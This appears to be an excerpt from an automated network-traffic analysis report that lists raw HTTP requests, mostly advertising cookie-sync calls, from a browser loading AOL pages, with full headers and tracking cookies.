KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35
Source: global traffic	HTTP traffic detected: GET /usersync?b=sta&i=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /usersync?b=vnt&i=6a235f9e-9b26-4d12-95f6-f4919d5fecf1 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /usersync?b=opx&i=d873ee3a-8fda-4617-8655-b742b2315610 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /usersync?b=apn&i=9165965397510453586 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6s/master.m3u8?fastly_token=NjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1Host: manifest.prod.boltdns.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=rubiconprojectHMT&id=Dc_b9-PmTX6gMqsoiQWwkA&gdpr=0 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /thumbnail/v1/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/thumbnail.webvtt?fastly_token=NjY0ZmQyYTRfOGRhNWUzZmU3OGNhODkwMWViMTFmZWZlZmM4MWI3ZDAzZmIyNThhMjIwYTQzNzM4ZDQ5YmNlNzkwY2RiYjIxMw%3D%3D HTTP/1.1Host: manifest.prod.boltdns.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/app/AOL-logo-96x96.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=rmx-pbs&_origin=0&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: g=vppXXAv6rWDZQ1hfNXAq_1716503699836; ts=1716503699
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPUa81a22b1334148ecb90f459b2fd358d9 HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=8785666810998501200 HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704
Source: global traffic	HTTP traffic detected: GET /cksync.html?cs=8&vsid=3595052986404735000V10&type=rkt&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=5144588530448503731 HTTP/1.1Host: contextual.media.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3595052986404735000V10
Source: global traffic	HTTP traffic detected: GET /s/ecm3?ex=rubiconprojectHMT&id=5RidXYCrRWyX3hVU66KEVw&gdpr=0 HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
Source: global traffic	HTTP traffic detected: GET /usersync2/rmphb?zcc=1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D&cb=1716503703006&us_privacy=1YNN HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%2C%22zdxidn%22%3A%222064%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D%22%7D
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=5134455425174035855 HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F46063723c8168ec623070ebddfba52dd&client=76f99bdb8f78cd44cc0b&signature=78c607183671b4e9d7f18dfbdfda68fa9f257a77 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F571c1467e77262475eef8398533d84f4&client=76f99bdb8f78cd44cc0b&signature=77ee9557942a8dc5ca9aa76c5f9d2e4a4414d393 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=rubicon&uid=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifX19
Source: global traffic	HTTP traffic detected: GET /v000/sync?userid=9165965397510453586&pn_id=an HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856
Source: global traffic	HTTP traffic detected: GET /sync/openx/bb892c0e-3763-ec08-d0f9-b15a85369a1f?gdpr=0 HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=appnexus&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=9165965397510453586 HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifX19
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072971&val=8369ae03-bf51-422b-a15c-33306b0e1dfe&ttd_puid=2f4e4a4a-a7cf-7e41-e12e-a7af7a615756&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=12d5e394-d925-4890-aef8-b87a788fd063#1716503705668
Source: global traffic	HTTP traffic detected: GET /ebda?gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
